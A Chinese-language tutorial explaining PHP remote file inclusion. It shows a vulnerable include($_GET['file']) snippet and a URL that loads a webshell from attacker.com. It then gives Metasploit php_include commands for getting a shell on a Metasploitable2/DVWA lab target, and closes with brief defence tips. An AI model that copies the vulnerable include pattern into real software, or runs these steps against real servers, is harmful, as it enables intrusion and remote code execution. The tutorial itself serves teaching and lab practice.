多年来,我们参加了很多的coding论坛和讨论平台。我们发现的一个最大的问题是他们是使用include,include_once,require,require_once语句的时候,都会使用$_GET或者是其他未经过滤的变量,这就是一个主要的安全风险。
在我们渗透测试过程中,我们能挖掘到的最危险的漏洞之一就是远程文件包含(RFI)。RFI漏洞让我们可以以服务器当前的用户身份在服务器上进行代码执行。利用这一点,我们可以生成shell,包含其他代码,也可以通过后渗透测试直接进行提权。这种攻击通常也会导致其他资源遭到破坏和入侵,因为我们可以利用当前已经被攻陷的web服务器去攻击其他主机。
我们再来进一步分析一下RFI究竟是什么,它是如何发生的,以及如何利用RFI控制web应用。
当攻击者从远程主机上包含文件到本机时通常都会发生远程文件包含攻击。当你使用远程包含进来的文件时,攻击者可以写一个php脚本放在服务器上,然后当你包含并使用文件之后,攻击者就可以通过远程的方式来利用你的服务器上的漏洞了。
只要一个存在问题的php文件,攻击者就可以从他们的服务器上执行恶意信息,即使没有你的服务器的读取权限。
在PHP应用中,通常会有两个问题导致RFI漏洞。其中之一就是应用程序逻辑错误。这些漏洞产生的原因是本来应该被包含到另一个页面的文件并没有被包含,而是包含了其他文件。当这些文件独立执行时,就没有配置文件来指定这些变量的默认值,如果web应用配置不正确的话,用户就可以自己指定文件作为请求的一部分。
示例:一个简单的例子来演示一下RFI漏洞
<?php $file=$_GET[‘file’]; Include($file); ?>
在上面的代码中,file参数从get请求中取值,并且是用户可控的值。file接收到参数值后直接带入到PHP文件中,没有经过任何处理。这样攻击者就可以发起相应的请求,从而让应用程序执行恶意脚本。例如,一个webshell如下:
http://example.com/?file=http://attacker.com/shell.php
利用RFI漏洞,你需要有一台互联网能够访问的服务器,并且已经上传了一个PHP shell。在本篇文章中,我们将会利用RFI漏洞来获取目标系统的命令行shell,这里我们使用metasploitable2这个靶机。
环境配置
为了演示,我们直接使用metasploitable2这个虚拟靶机,靶机已经预装了DVWA,DVWA包含了web应用的不同的安全问题。
为了漏洞演示能够成功,我们这里DVWA的安全等级就设置为“low”,我们也要检查一下php.ini这个配置文件。
打开/etc/php5/cgi/php.ini文件,查看下面两个选项是否为on。
· allow_url_fopen=on
· allow_url_include=on
allow_url_fopen选项允许访问远程主机或服务器上的文件,而allow_url_include选项则允许一个远程文件使用URL路径,而不是本地文件路径,如图:
编辑了php.ini配置文件后,记得要重启Apache服务,使用如下命令:
Service apache2 restart
回到攻击主机上,这里我们的攻击主机是kali,IP地址是192.168.73.128,你需要在/var/www/html目录下写一个PHP测试文件,例如yeahhub.php,然后再重启Apache服务器,如图所示:
为了检测是否存在RFI漏洞,我们可以直接让web应用尝试去包含我们刚才创建的文件。
现在,打开DVWA,选择“File Inclusion”页面,替换参数page的值为我们的测试文件,也就是部署在我们的攻击主机kali网站根目录的yeahhub.php,地址是:http://192.168.73.128/yeahhub.php
当页面成功加载时,我们可以看到测试php文件的内容(YEAHHUB.COM is here),这就表明该页面确实是存在RFI漏洞的。
MSF进行漏洞利用
在开始进行漏洞利用之前,确保你已经记住了所有的cookie值,比如PHPSESSID和安全级别,这样我们就能够直接传递到metasploit的模块中了。
在我们的例子中,PHPSESSID的值是bb68ea00e0a624f159c5ea12ad0a1176,安全级别为low。
Metasploit也能够利用RFI漏洞,有了metasploit我们既可以使用metasploit的payloads。PHP meterpreter shell允许我们在web服务器环境下转发流量,执行shell命令和执行meterpreter脚本。
我们先启动msfconsole,然后定位到php_include模块的位置,接着输入命令使用该模块:
“use exploit/unix/webapp/php_include”
这个php_include模块非常强大,它可以用来利用任意数量的脆弱的webapps。为了使用这个文件包含攻击模块,我们需要知道存在漏洞的网站的具体地址,你也可以输入show options来查看所有必填的选项。
接着设置下面这些参数:
set RHOST <Metasploitable2 machine IP> set path /dvwa/vulnerabilities/fi set phpuri /?page=XXpathXX set HEADERS “<all cookie values>”
在这个特殊模块中,最重要的设置选项是漏洞点的具体路径,因为我们要把这个URL提供给我们的PHP shell。我们只需要替换示例中的XXpathXX路径,metasploit知道如何去攻击这个漏洞点。
为了展示metasploit的强大功能,我们在PHP meterpreter payload下来查看所有可用的payloads,输入命令“show payloads”。
设置PHP payload的命令是“set payload php/bind_php”,如图:
执行run命令之后就开始攻击了,然后会开启一个新的shell会话,在这个shell里,你可以执行各种各样的Unix命令,如图:
RFI防御
· 为了防止可能存在的远程文件包含漏洞,你应该在程序的配置文件中始终禁用远程包含功能,尤其是你不需要使用这个功能时。
· 同时,你也需要将allow_url_include的值设置为0。
· 在将用户输入数据传递给包含函数之前进行验证。